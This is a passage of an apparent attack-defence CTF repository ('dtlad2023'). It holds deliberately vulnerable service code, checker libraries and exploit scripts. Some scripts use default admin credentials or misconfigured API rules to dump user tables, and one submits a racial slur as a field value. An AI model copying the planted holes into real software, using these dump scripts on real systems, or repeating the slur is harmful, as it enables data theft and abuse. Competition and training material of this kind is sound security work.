(16 - len(data) % 16) 8 | 9 | def xor(a: bytes, b: bytes) -> bytes: 10 | return bytes([i ^ j for i, j in zip(a,b)]) 11 | 12 | class HmacToken(Token): 13 | def __init__(self, key: bytes) -> None: 14 | self.cipher = AES.new(pad(key)[:16], AES.MODE_ECB) 15 | 16 | def __precompute(self, data: bytes) -> bytes: 17 | data = pad(data) 18 | hashed = b'\x00' * 16 19 | for i in range(0, len(data), 16): 20 | hashed = xor(hashed, data[i: i + 16]) 21 | 22 | return hashed 23 | 24 | def generate_token(self, data: bytes) -> str: 25 | hashed = self.__precompute(data) 26 | token = f"{b64encode(b'HMAC128').decode()}.{b64encode(data).decode()}.{b64encode(hashed).decode()}" 27 | 28 | return token 29 | 30 | def validate_token(self, token: str) -> bool: 31 | try: 32 | token_type, data, signed = list( 33 | map(b64decode, token.split('.')) 34 | ) 35 | except Exception as e: 36 | raise Exception('Cannot unpack token') 37 | 38 | if token_type != b'HMAC128': 39 | return False 40 | 41 | return self.__precompute(data) == signed 42 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/workspace/[workspaceId]/+page.server.js: -------------------------------------------------------------------------------- 1 | import { mustBeLoggedIn, mustOwnWorkspace } from '$lib/auth/guards.js'; 2 | import { error } from '@sveltejs/kit'; 3 | import { addFile, workspaceFiles, removeFile } from '$lib/server/workspaceUtils'; 4 | 5 | export async function load({ locals, params }) { 6 | mustBeLoggedIn(locals); 7 | const workspace = await mustOwnWorkspace(locals, params); 8 | 9 | return { 10 | id: workspace.id, 11 | name: workspace.name, 12 | files: workspaceFiles(params.workspaceId) 13 | }; 14 | } 15 | 16 | export const actions = { 17 | createFile: async ({ locals, request, params }) => { 18 | mustBeLoggedIn(locals); 19 | await mustOwnWorkspace(locals, params); 20 | 21 | /** @type {{filename: string}} */ 22 | // @ts-ignore 23 | const data = Object.fromEntries(await request.formData()); 24 | 25 | try { 26 | addFile(params.workspaceId, data.filename); 27 | } catch { 28 | throw error(500, 'Unable to create file'); 29 | } 30 | 31 | return workspaceFiles(params.workspaceId); 32 | }, 33 | 34 | deleteFile: async ({ locals, request, params }) => { 35 | mustBeLoggedIn(locals); 36 | await mustOwnWorkspace(locals, params); 37 | 38 | /** @type {{filename: string}} */ 39 | // @ts-ignore 40 | const data = Object.fromEntries(await request.formData()); 41 | 42 | try { 43 | removeFile(params.workspaceId, data.filename); 44 | } catch { 45 | throw error(500, 'Unable to delete file'); 46 | } 47 | 48 | return workspaceFiles(params.workspaceId); 49 | } 50 | }; 51 | -------------------------------------------------------------------------------- /sploits/jeopardy/jeopardy_lib.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from checklib import * 3 | 4 | PORT = 5001 5 | class CheckMachine: 6 | @property 7 | def url(self): 8 | return f'http://{self.c.host}:{self.port}' 9 | 10 | def __init__(self, checker: BaseChecker): 11 | self.port = PORT 12 | self.c = checker 13 | 14 | def register_ecdsa(self, session: requests.Session, username: str, password: str, flag: str): 15 | data = dict() 16 | data['username'] = username 17 | data['password'] = password 18 | data['flag'] = flag 19 | data['type'] = 'EC256' 20 | data['iv'] = '' 21 | ans = session.post(f"{self.url}/register", data = data) 22 | 23 | return ans 24 | 25 | def register_arc(self, session: requests.Session, username: str, password: str, flag: str, iv: str): 26 | data = dict() 27 | data['username'] = username 28 | data['password'] = password 29 | data['flag'] = flag 30 | data['type'] = 'EC256' 31 | data['iv'] = iv 32 | ans = session.post(f"{self.url}/register", data = data) 33 | 34 | return ans 35 | 36 | def login(self, session: requests.Session, username: str, password: str): 37 | data = dict() 38 | data['username'] = username 39 | data['password'] = password 40 | data['type'] = 'EC256' 41 | data['iv'] = '' 42 | ans = session.post(f"{self.url}/login", data = data) 43 | 44 | return ans 45 | 46 | def home(self, session: requests.Session, iv = ''): 47 | return session.get(f"{self.url}/home?iv={iv}") 48 | 49 | 50 | -------------------------------------------------------------------------------- /checkers/jeopardy/jeopardy_lib.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from checklib import * 3 | 4 | PORT = 5001 5 | class CheckMachine: 6 | @property 7 | def url(self): 8 | return f'http://{self.c.host}:{self.port}' 9 | 10 | def __init__(self, checker: BaseChecker): 11 | self.port = PORT 12 | self.c = checker 13 | 14 | def register_ecdsa(self, session: requests.Session, username: str, password: str, flag: str): 15 | data = dict() 16 | data['username'] = username 17 | data['password'] = password 18 | data['flag'] = flag 19 | data['type'] = 'EC256' 20 | data['iv'] = '' 21 | ans = session.post(f"{self.url}/register", data = data) 22 | 23 | return ans 24 | 25 | def register_arc(self, session: requests.Session, username: str, password: str, flag: str, iv: str): 26 | data = dict() 27 | data['username'] = username 28 | data['password'] = password 29 | data['flag'] = flag 30 | data['type'] = 'EC256' 31 | data['iv'] = iv 32 | ans = session.post(f"{self.url}/register", data = data) 33 | 34 | return ans 35 | 36 | def login(self, session: requests.Session, username: str, password: str): 37 | data = dict() 38 | data['username'] = username 39 | data['password'] = password 40 | data['type'] = 'EC256' 41 | data['iv'] = '' 42 | ans = session.post(f"{self.url}/login", data = data) 43 | 44 | return ans 45 | 46 | def home(self, session: requests.Session, iv = ''): 47 | return session.get(f"{self.url}/home?iv={iv}") 48 | 49 | 50 | -------------------------------------------------------------------------------- /services/schizichs/src/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/YellowPhil/pwnAD/controllers" 7 | "github.com/gin-gonic/gin" 8 | ) 9 | 10 | var router *gin.Engine 11 | 12 | var userController *controllers.UserController 13 | var labController *controllers.LabResultsController 14 | 15 | func initRoutes() { 16 | router.GET("/", showMainPage) 17 | 18 | userRoutes := router.Group("/user") 19 | { 20 | userRoutes.GET("/register", showRegisterPage) 21 | userRoutes.POST("/register", RegisterNewUser) 22 | userRoutes.GET("/login", showLoginPage) 23 | userRoutes.POST("/login", LoginUser) 24 | userRoutes.GET("/logout", AuthMiddleWare(), LogoutUser) 25 | } 26 | labsRoute := router.Group("/labs").Use(AuthMiddleWare()) 27 | { 28 | labsRoute.GET("/show", showLabsPage) 29 | labsRoute.GET("/new", showAddLabPage) 30 | labsRoute.POST("/new", AddLab) 31 | 32 | } 33 | } 34 | 35 | func main() { 36 | router = gin.Default() 37 | router.LoadHTMLGlob("templates/*") 38 | 39 | db, _ := controllers.Setup() 40 | labController, userController = controllers.SetupControllers(db) 41 | 42 | initRoutes() 43 | router.Run() 44 | } 45 | 46 | func render(c *gin.Context, templateName string, data gin.H) { 47 | if token, err := c.Cookie("token"); err == nil && token != "" { 48 | data["Authorized"] = true 49 | } else { 50 | data["Authorized"] = false 51 | } 52 | switch c.Request.Header.Get("Accept") { 53 | case "application/json": 54 | c.JSON(http.StatusOK, data) 55 | case "application/xml": 56 | c.XML(http.StatusOK, data) 57 | default: 58 | c.HTML(http.StatusOK, templateName, data) 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | nginx: 3 | container_name: proxy 4 | image: nginx:stable-alpine3.17-slim 5 | restart: unless-stopped 6 | pids_limit: 256 7 | mem_limit: 200M 8 | cpus: 0.25 9 | ports: 10 | - 1984:80 11 | volumes: 12 | - ./nginx/conf:/etc/nginx/conf.d:ro 13 | depends_on: 14 | - web 15 | - pocketbase 16 | - cleaner 17 | 18 | web: 19 | container_name: web 20 | restart: unless-stopped 21 | pids_limit: 256 22 | mem_limit: 400M 23 | cpus: 1 24 | build: 25 | context: web/ 26 | volumes: 27 | - ./data:/data 28 | ports: 29 | - 3000 30 | depends_on: 31 | - pocketbase 32 | 33 | pocketbase: 34 | container_name: pocketbase 35 | image: ghcr.io/muchobien/pocketbase:0.16.6 36 | restart: unless-stopped 37 | pids_limit: 256 38 | mem_limit: 400M 39 | cpus: 0.5 40 | ports: 41 | - 8090:8090 42 | volumes: 43 | - ./pocketbase/pb_data:/pb_data 44 | - ./pocketbase/pb_public:/pb_public 45 | - ./pocketbase/pb_migrations:/pb_migrations 46 | healthcheck: 47 | test: wget --post-data 'identity=admin@admin.com&password=administrator' --no-verbose --tries=1 --spider http://localhost:8090/api/admins/auth-with-password || exit 1 48 | interval: 5s 49 | timeout: 5s 50 | retries: 5 51 | 52 | cleaner: 53 | container_name: cleaner 54 | build: cleaner 55 | cpus: 0.25 56 | pids_limit: 128 57 | mem_limit: 128M 58 | restart: unless-stopped 59 | volumes: 60 | - ./data:/tmp/data 61 | depends_on: 62 | - web 63 | -------------------------------------------------------------------------------- /services/schizichs/src/templates/input-lab.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {{ template "header.html" .}} 4 | 5 | {{ if .ErrorTitle}} 6 |

7 | {{.ErrorTitle}}: {{.ErrorMessage}} 8 |

9 | {{end}} 10 | Отчет о лабораторной работе студента {{ .Username }} 11 |
12 |
13 | 14 | 15 |
16 |
17 | 18 | 19 |
Мы не осуждаем вас за сильное расхождение
20 |
21 |
22 | 23 | 24 |
25 |
26 | 27 | 28 |
29 | 30 |
31 | 32 | {{ template "footer.html" .}} -------------------------------------------------------------------------------- /services/schizichs/src/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/YellowPhil/pwnAD 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/gin-gonic/gin v1.9.1 7 | github.com/golang-jwt/jwt/v4 v4.5.0 8 | golang.org/x/crypto v0.11.0 9 | gorm.io/driver/mysql v1.5.1 10 | gorm.io/gorm v1.25.2 11 | ) 12 | 13 | require ( 14 | github.com/bytedance/sonic v1.9.1 // indirect 15 | github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 // indirect 16 | github.com/gabriel-vasile/mimetype v1.4.2 // indirect 17 | github.com/gin-contrib/sse v0.1.0 // indirect 18 | github.com/go-playground/locales v0.14.1 // indirect 19 | github.com/go-playground/universal-translator v0.18.1 // indirect 20 | github.com/go-playground/validator/v10 v10.14.0 // indirect 21 | github.com/go-sql-driver/mysql v1.7.0 // indirect 22 | github.com/goccy/go-json v0.10.2 // indirect 23 | github.com/jinzhu/inflection v1.0.0 // indirect 24 | github.com/jinzhu/now v1.1.5 // indirect 25 | github.com/json-iterator/go v1.1.12 // indirect 26 | github.com/klauspost/cpuid/v2 v2.2.4 // indirect 27 | github.com/leodido/go-urn v1.2.4 // indirect 28 | github.com/mattn/go-isatty v0.0.19 // indirect 29 | github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect 30 | github.com/modern-go/reflect2 v1.0.2 // indirect 31 | github.com/pelletier/go-toml/v2 v2.0.8 // indirect 32 | github.com/twitchyliquid64/golang-asm v0.15.1 // indirect 33 | github.com/ugorji/go/codec v1.2.11 // indirect 34 | golang.org/x/arch v0.3.0 // indirect 35 | golang.org/x/net v0.10.0 // indirect 36 | golang.org/x/sys v0.10.0 // indirect 37 | golang.org/x/text v0.11.0 // indirect 38 | google.golang.org/protobuf v1.30.0 // indirect 39 | gopkg.in/yaml.v3 v3.0.1 // indirect 40 | ) 41 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/reset.css: -------------------------------------------------------------------------------- 1 | html, 2 | body, 3 | div, 4 | span, 5 | applet, 6 | object, 7 | iframe, 8 | h1, 9 | h2, 10 | h3, 11 | h4, 12 | h5, 13 | h6, 14 | p, 15 | blockquote, 16 | pre, 17 | a, 18 | abbr, 19 | acronym, 20 | address, 21 | big, 22 | cite, 23 | code, 24 | del, 25 | dfn, 26 | em, 27 | img, 28 | ins, 29 | kbd, 30 | q, 31 | s, 32 | samp, 33 | small, 34 | strike, 35 | strong, 36 | sub, 37 | sup, 38 | tt, 39 | var, 40 | b, 41 | u, 42 | i, 43 | center, 44 | dl, 45 | dt, 46 | dd, 47 | ol, 48 | ul, 49 | li, 50 | fieldset, 51 | form, 52 | label, 53 | legend, 54 | table, 55 | caption, 56 | tbody, 57 | tfoot, 58 | thead, 59 | tr, 60 | th, 61 | td, 62 | article, 63 | aside, 64 | canvas, 65 | details, 66 | embed, 67 | figure, 68 | figcaption, 69 | footer, 70 | header, 71 | hgroup, 72 | menu, 73 | nav, 74 | output, 75 | ruby, 76 | section, 77 | summary, 78 | time, 79 | mark, 80 | audio, 81 | video { 82 | margin: 0; 83 | padding: 0; 84 | border: 0; 85 | font-size: 100%; 86 | font: inherit; 87 | vertical-align: baseline; 88 | } 89 | /* HTML5 display-role reset for older browsers */ 90 | article, 91 | aside, 92 | details, 93 | figcaption, 94 | figure, 95 | footer, 96 | header, 97 | hgroup, 98 | menu, 99 | nav, 100 | section { 101 | display: block; 102 | } 103 | body { 104 | line-height: 1; 105 | } 106 | ol, 107 | ul { 108 | list-style: none; 109 | } 110 | blockquote, 111 | q { 112 | quotes: none; 113 | } 114 | blockquote:before, 115 | blockquote:after, 116 | q:before, 117 | q:after { 118 | content: ''; 119 | content: none; 120 | } 121 | table { 122 | border-collapse: collapse; 123 | border-spacing: 0; 124 | } 125 | -------------------------------------------------------------------------------- /sploits/amogus_plus_plus/admin_default_creds/sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import json 4 | import requests 5 | 6 | host = sys.argv[1] if len(sys.argv) > 1 else 'localhost' 7 | hint = json.dumps( 8 | sys.argv[2] 9 | if len(sys.argv) > 2 10 | else '{"username":"vulnerable","workspace_id":"i2yy40zjs6qgitq"}' 11 | ) 12 | 13 | URL = f'http://{host}:1984' 14 | 15 | 16 | def auth_as_admin(session: requests.Session): 17 | resp = session.post( 18 | f'{URL}/api/admins/auth-with-password', 19 | data={ 20 | 'identity': 'admin@admin.com', 21 | 'password': 'administrator', 22 | }, 23 | ) 24 | session.headers["Authorization"] = resp.json()['token'] 25 | 26 | 27 | def dump_pb_table(session: requests.Session, table_name: str): 28 | max_per_page = 500 29 | resp = session.get( 30 | f'{URL}/api/collections/{table_name}/records', 31 | params={ 32 | 'perPage': max_per_page, 33 | }, 34 | ) 35 | table_data = resp.json() 36 | print(table_data, flush=True) 37 | 38 | page = 1 39 | dumped = max_per_page 40 | total = table_data['totalItems'] 41 | while dumped < total: 42 | page += 1 43 | resp = session.get( 44 | f'{URL}/api/collections/{table_name}/records', 45 | params={ 46 | 'page': page, 47 | 'perPage': max_per_page, 48 | }, 49 | ) 50 | print(resp.json(), flush=True) 51 | dumped += max_per_page 52 | 53 | 54 | def main(): 55 | s = requests.Session() 56 | auth_as_admin(s) 57 | dump_pb_table(s, 'users') 58 | dump_pb_table(s, 'workspaces') 59 | 60 | 61 | if __name__ == '__main__': 62 | main() 63 | -------------------------------------------------------------------------------- /sploits/schizichs/math_error/math_sploit.py: -------------------------------------------------------------------------------- 1 | import requests as re 2 | from sys import argv 3 | import secrets 4 | import string 5 | from math_sploit_lib import solve, calculate_error 6 | 7 | 8 | def rnd_string(length, alphabet=None) -> str: 9 | if alphabet is None: 10 | alphabet = string.ascii_letters + string.digits 11 | return ''.join(secrets.choice(alphabet) for _ in range(length)) 12 | 13 | 14 | session = re.Session() 15 | ip = argv[1] 16 | port = 9993 17 | url = f"http://{ip}:{port}" 18 | 19 | creds = { 20 | 'username': rnd_string(10), 21 | 'password': rnd_string(10) 22 | } 23 | 24 | 25 | def register(): 26 | session.post(f"{url}/user/register", data=creds) 27 | 28 | 29 | # Here you should parse attack data 30 | def parse_labs(): 31 | pass 32 | 33 | 34 | def solveForLab(lab_data: dict): 35 | n = 1000 36 | x = 0 37 | percision = 0.001 38 | exp_res = lab_data['expected'] 39 | while x < exp_res + 10000 or calculate_error(x, exp_res) >= percision: 40 | res = solve(lab_data['expected'], percision, n) 41 | n += 1 42 | # Взять среднее по отрезку 43 | x = res[1][0] + (res[0][1] - res[0][0]) / 2 44 | new_lab_data = { 45 | 'labName': 'capturing ' + lab_data['labName'], 46 | 'testResult': x, 47 | 'expectedResult': exp_res, 48 | 'comment': 'nigger' 49 | } 50 | print(session.post(f"{url}/labs/new", data=new_lab_data).text) 51 | 52 | 53 | 54 | register() 55 | lab_array = parse_labs() 56 | 57 | for i in range(len(lab_array)): 58 | solveForLab(lab_array[i]) 59 | print('Creds') 60 | print(creds) 61 | 62 | labs = session.get(f"{url}/labs/show", headers={'Accept':'application/json'}).json() 63 | for i in labs['payload']: 64 | print(i) 65 | -------------------------------------------------------------------------------- /services/msngr/src/protocols/key_exchange.py: -------------------------------------------------------------------------------- 1 | from hashlib import sha512 2 | 3 | p = 144982569249120405618398337189647848066750882291964593436576397601600745085795828906894506756653756422025789016276246047439828103490530417126093310330555936334647616565299429669217676190404287522030320353384847606639969893831949168617787758280324566416099625782081485179961083426665131923795387477876479610271 4 | 5 | 6 | def generate_basis(n): 7 | basis = [True] * n 8 | for i in range(3, int(n**0.5) + 1, 2): 9 | if basis[i]: 10 | basis[i * i :: 2 * i] = [False] * ((n - i * i - 1) // (2 * i) + 1) 11 | return [2] + [i for i in range(3, n, 2) if basis[i]] 12 | 13 | 14 | def miller_rabin(n, b): 15 | basis = generate_basis(b) 16 | if n == 2 or n == 3: 17 | return True 18 | if n % 2 == 0: 19 | return False 20 | r, s = 0, n - 1 21 | while s % 2 == 0: 22 | r += 1 23 | s //= 2 24 | for b in basis: 25 | x = pow(b, s, n) 26 | if x == 1 or x == n - 1: 27 | continue 28 | for _ in range(r - 1): 29 | x = pow(x, 2, n) 30 | if x == n - 1: 31 | break 32 | else: 33 | return False 34 | return True 35 | 36 | 37 | class KeyExchanger: 38 | def __init__(self, generator, modulus): 39 | self.__verify(modulus) 40 | self.generator = generator 41 | 42 | def __verify(self, modulus): 43 | if not miller_rabin(modulus, 64): 44 | self.modulus = p 45 | return 46 | self.modulus = modulus 47 | 48 | def shared_key(self, alice_public_key: int, bob_private_key: int): 49 | return hex(pow(alice_public_key, bob_private_key, self.modulus))[2:] 50 | 51 | def generate_public_key(self, alice_private): 52 | return pow(self.generator, alice_private, self.modulus) 53 | 54 | def derive_key_to_feistel(self, shared_key): 55 | return sha512(str(shared_key).encode()).hexdigest() 56 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # dtlad2023 2 | 3 | [![check-services](https://github.com/dtlhub/dtlad2023/actions/workflows/check-services.yml/badge.svg?branch=master&event=push)](https://github.com/dtlhub/dtlad2023/actions/workflows/check-services.yml) 4 | 5 | ![Scoreboard leaders](/screenshots/top.png) 6 | 7 | ## Services 8 | 9 | | Service | Language | Vulns | Authors | 10 | | ---------------------------------------------- | ------------------- | ------------------------------------------------------------------------- | --------------------------------------- | 11 | | [amogus_plus_plus](services/amogus_plus_plus/) | JavaScript & Svelte | Default creds, missconfiguration, path traversal, prototype pollution | [@LeKSuS](https://t.me/tarasovion) | 12 | | [jeopardy](services/jeopardy/) | Python | Default keys, using stream cipher for signing, small nonces for ecdsa | [@defkit](https://t.me/defkit) | 13 | | [msngr](services/msngr/) | Python | Linear sbox in substitution-permutation cipher, dlp with chosen parameters| [@defkit](https://t.me/defkit) | 14 | | [schizichs](services/schizichs/) | Go | Default JWT key, Vulnerable math in error function, full lab info leak | [@synerr](https://t.me/eat_people) | 15 | | [Zapiski](services/Zapiski/) | C | Ujazvimost' | [@c3N1T3Lb](https://t.me/c3N1T3Lb) | 16 | 17 | ## Infrastructure 18 | 19 | - DevOps: [@LeKSuS](https://t.me/tarasovion) 20 | - Checksystem: [ForcAD](https://github.com/pomo-mondreganto/ForcAD) 21 | 22 | ## Writeups & sploits 23 | 24 | - [amogus_plus_plus](/sploits/amogus_plus_plus/) 25 | - [jeopardy](/sploits/jeopardy/) 26 | - [schizichs](/sploits/schizichs/) 27 | - [msngr](/sploits/msngr) 28 | - [Zapiski](sploits/Zapiski/) 29 | -------------------------------------------------------------------------------- /services/jeopardy/database/database.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import threading 3 | 4 | class Singleton(type): 5 | _instances = {} 6 | def __call__(cls, *args, **kwargs): 7 | if cls not in cls._instances: 8 | cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) 9 | return cls._instances[cls] 10 | 11 | class Database(metaclass=Singleton): 12 | def __init__(self) -> None: 13 | self.sem = threading.Semaphore() 14 | self.connection = sqlite3.connect('users.db', check_same_thread=False) 15 | cur = self.connection.cursor() 16 | cur.execute(""" 17 | CREATE TABLE IF NOT EXISTS users( 18 | id INTEGER PRIMARY KEY, 19 | username TEXT UNIQUE, 20 | password TEXT, 21 | flag TEXT) 22 | """) 23 | self.connection.commit() 24 | cur.close() 25 | 26 | def register(self, username: str, password: str, flag: str) -> bool: 27 | try: 28 | self.sem.acquire() 29 | cur = self.connection.cursor() 30 | cur.execute( 31 | """ 32 | INSERT INTO users(username, password, flag) VALUES(?,?,?); 33 | """, [username, password, flag]) 34 | self.connection.commit() 35 | cur.close() 36 | self.sem.release() 37 | return True 38 | except Exception as e: 39 | return False 40 | 41 | def login(self, username: str, password: str) -> bool: 42 | cur = self.connection.cursor() 43 | cur.execute("SELECT password FROM users WHERE username=(?)", [username]) 44 | data = cur.fetchone() 45 | cur.close() 46 | if data is None: 47 | return False 48 | 49 | return password == data[0] 50 | 51 | def get_flag(self, username: str) -> str: 52 | cur = self.connection.cursor() 53 | cur.execute("SELECT flag FROM users WHERE username=(?)", [username]) 54 | data = cur.fetchone() 55 | cur.close() 56 | 57 | return data[0] 58 | -------------------------------------------------------------------------------- /checkers/Zapiski/Zapiski_lib.py: -------------------------------------------------------------------------------- 1 | import socket,re 2 | from checklib import * 3 | 4 | PORT = 5712 5 | 6 | class CheckMachine: 7 | @property 8 | def addresss(self): 9 | return f'{self.c.host}:{self.port}' 10 | 11 | def __init__(self, checker: BaseChecker): 12 | self.c = checker 13 | self.port = PORT 14 | 15 | def register(self, conn: socket.socket, username: str) -> str: 16 | conn.recv(1024) 17 | conn.send(b'2\n') 18 | conn.recv(1024) 19 | conn.send(username.encode() + b'\n') 20 | conn.recv(1024).decode() 21 | out = conn.recv(1024).decode() 22 | password = re.findall(r'.+', out)[0] 23 | password = re.findall(r'[0-9,A-z]+', password)[0] 24 | return password 25 | 26 | def login(self, conn: socket.socket, username_1: str, password: str, status: Status, registred: bool) -> str: 27 | if not registred: 28 | conn.recv(1024) 29 | conn.send(b'1\n') 30 | conn.recv(1024) 31 | check = conn.send(password.encode() + b'\n') 32 | out = conn.recv(1024).decode() 33 | out += conn.recv(1024).decode() 34 | username = re.findall(r'[0-9,A-z]+!', out)[0] 35 | username = username[:-1] 36 | self.c.assert_eq(username, username_1, 'Can\'t login', status) 37 | return username 38 | 39 | def put_note(self, conn: socket.socket, note_value: str): 40 | conn.send(b'1\n') 41 | conn.recv(1024) 42 | conn.send(note_value.encode() + b'\n') 43 | out = conn.recv(1024).decode() 44 | note_id = re.findall(r'[0-9]+', out)[0] 45 | conn.recv(1024) 46 | return note_id 47 | 48 | def save(self, conn: socket.socket): 49 | conn.send(b'3\n') 50 | 51 | def get_note(self, conn: socket.socket, note_id: str) -> str: 52 | conn.send(b'2\n') 53 | conn.recv(1024) 54 | conn.send(note_id.encode() + b'\n') 55 | out = conn.recv(4096).decode() 56 | note = re.findall(r'.+', out) 57 | note = note[0] 58 | return note 59 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/auth/login/+page.svelte: -------------------------------------------------------------------------------- 1 | 5 | 6 |

Log in

7 |
{ 10 | return async ({ result }) => { 11 | pocketbase.authStore.loadFromCookie(document.cookie); 12 | await applyAction(result); 13 | }; 14 | }} 15 | > 16 |
17 | 18 | 19 |
20 |
21 | 22 | 23 |
24 | 25 | 26 |
27 | 28 | 86 | -------------------------------------------------------------------------------- /services/schizichs/src/controllers/userController.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | import ( 4 | "fmt" 5 | "html" 6 | "strings" 7 | 8 | "golang.org/x/crypto/bcrypt" 9 | "gorm.io/gorm" 10 | ) 11 | 12 | type User struct { 13 | gorm.Model 14 | Username string `gorm:"size:255;not null;unique" json:"username"` 15 | Password string `gorm:"size:255;not null;" json:"-"` 16 | Labs []LabResult `gorm:"foreignKey:UserID"` 17 | } 18 | 19 | func (user *User) HashPassword() error { 20 | hashedPassword, err := bcrypt.GenerateFromPassword([]byte(user.Password), bcrypt.DefaultCost) 21 | if err != nil { 22 | return err 23 | } 24 | user.Password = string(hashedPassword) 25 | user.Username = html.EscapeString(strings.TrimSpace(user.Username)) 26 | return nil 27 | } 28 | 29 | func verifyPassword(hashedPassword, providedPassword string) error { 30 | return bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(providedPassword)) 31 | } 32 | 33 | type UserController Controller 34 | 35 | func (c *UserController) RegisterUser(username, password string) (uint, string, error) { 36 | NewUser := &User{Username: username, Password: password} 37 | NewUser.HashPassword() 38 | 39 | if err := c.db.Create(NewUser).Error; err != nil { 40 | return 0, "", err 41 | } 42 | token, err := GenerateToken(NewUser) 43 | if err != nil { 44 | return 0, "", err 45 | } 46 | return NewUser.ID, token, nil 47 | } 48 | 49 | func (c *UserController) CheckLoginUser(username, password string) (uint, string, error) { 50 | user := &User{} 51 | if err := c.db.Where(&User{Username: username}).First(user).Error; err != nil { 52 | return 0, "", err 53 | } 54 | if err := verifyPassword(user.Password, password); err != nil && err == bcrypt.ErrMismatchedHashAndPassword { 55 | return 0, "", fmt.Errorf("Invalid password for user %s", username) 56 | } 57 | token, err := GenerateToken(user) 58 | if err != nil { 59 | return 0, "", err 60 | } 61 | return user.ID, token, nil 62 | } 63 | 64 | func (c *UserController) GetUserByID(id uint) (*User, error) { 65 | user := &User{} 66 | if err := c.db.First(user, id).Error; err != nil { 67 | return nil, err 68 | } 69 | return user, nil 70 | } 71 | -------------------------------------------------------------------------------- /sploits/amogus_plus_plus/pb_api_rules_missconfiguration/sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import json 4 | import requests 5 | from random import choice 6 | from string import ascii_letters, digits 7 | 8 | host = sys.argv[1] if len(sys.argv) > 1 else 'localhost' 9 | hint = json.loads( 10 | sys.argv[2] 11 | if len(sys.argv) > 2 12 | else '{"username":"vulnerable","workspace_id":"i2yy40zjs6qgitq"}' 13 | ) 14 | 15 | URL = f'http://{host}:1984' 16 | 17 | 18 | def random_string(length: int = 16): 19 | return ''.join(choice(ascii_letters + digits) for _ in range(length)) 20 | 21 | 22 | def register(session: requests.Session): 23 | username = random_string() 24 | password = random_string() 25 | 26 | session.post( 27 | f'{URL}/api/collections/users/records', 28 | json={ 29 | 'username': username, 30 | 'email': f'{username}@mail.ru', 31 | 'password': password, 32 | 'passwordConfirm': password, 33 | }, 34 | ) 35 | 36 | resp = session.post( 37 | f'{URL}/api/collections/users/auth-with-password', 38 | json={'identity': username, 'password': password}, 39 | ) 40 | session.headers['Authorization'] = resp.json()['token'] 41 | 42 | 43 | def dump_pb_table(session: requests.Session, table_name: str): 44 | max_per_page = 500 45 | resp = session.get( 46 | f'{URL}/api/collections/{table_name}/records', 47 | params={ 48 | 'perPage': max_per_page, 49 | }, 50 | ) 51 | table_data = resp.json() 52 | print(table_data, flush=True) 53 | 54 | page = 1 55 | dumped = max_per_page 56 | total = table_data['totalItems'] 57 | while dumped < total: 58 | page += 1 59 | resp = session.get( 60 | f'{URL}/api/collections/{table_name}/records', 61 | params={ 62 | 'page': page, 63 | 'perPage': max_per_page, 64 | }, 65 | ) 66 | print(resp.json(), flush=True) 67 | dumped += max_per_page 68 | 69 | 70 | def main(): 71 | s = requests.Session() 72 | register(s) 73 | dump_pb_table(s, 'workspaces') 74 | 75 | 76 | if __name__ == '__main__': 77 | main() 78 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/playground/+page.server.js: -------------------------------------------------------------------------------- 1 | import { mustBeLoggedIn } from '$lib/auth/guards.js'; 2 | import { tryHandlePocketbaseError } from '$lib/server/pocketbase.js'; 3 | import { deleteWorkspace } from '$lib/server/workspaceUtils.js'; 4 | import { error, redirect } from '@sveltejs/kit'; 5 | 6 | export async function load({ locals }) { 7 | mustBeLoggedIn(locals); 8 | 9 | // @ts-ignore 10 | let workspaces = []; 11 | try { 12 | workspaces = await locals.pocketbase.collection('workspaces').getFullList({ 13 | filter: `owner = '${locals.user.id}'`, 14 | sort: 'created' 15 | }); 16 | } catch (err) { 17 | tryHandlePocketbaseError(err); 18 | } 19 | 20 | return { 21 | workspaces: workspaces.map((pbWorkspace) => { 22 | return { 23 | id: pbWorkspace.id, 24 | name: pbWorkspace.name, 25 | description: pbWorkspace.description 26 | }; 27 | }) 28 | }; 29 | } 30 | 31 | export const actions = { 32 | createWorkspace: async ({ locals, request }) => { 33 | mustBeLoggedIn(locals); 34 | 35 | /** @type {{name: string, description: string | null}} */ 36 | // @ts-ignore 37 | const data = Object.fromEntries(await request.formData()); 38 | 39 | let workspace = null; 40 | try { 41 | workspace = await locals.pocketbase.collection('workspaces').create({ 42 | name: data.name, 43 | owner: locals.user?.id, 44 | description: data.description 45 | }); 46 | } catch (err) { 47 | tryHandlePocketbaseError(err); 48 | } 49 | 50 | throw redirect(302, `/workspace/${workspace?.id}`); 51 | }, 52 | 53 | deleteWorkspace: async ({ locals, request }) => { 54 | mustBeLoggedIn(locals); 55 | 56 | /** @type {{id: string}} */ 57 | // @ts-ignore 58 | const data = Object.fromEntries(await request.formData()); 59 | 60 | try { 61 | await locals.pocketbase.collection('workspaces').delete(data.id); 62 | } catch (err) { 63 | tryHandlePocketbaseError(err); 64 | } 65 | 66 | try { 67 | deleteWorkspace(data.id); 68 | } catch (err) { 69 | throw error(500, 'Unable to delete workspace'); 70 | } 71 | 72 | throw redirect(302, '/playground'); 73 | } 74 | }; 75 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/auth/signup/+page.svelte: -------------------------------------------------------------------------------- 1 | 5 | 6 |

Sign up

7 |
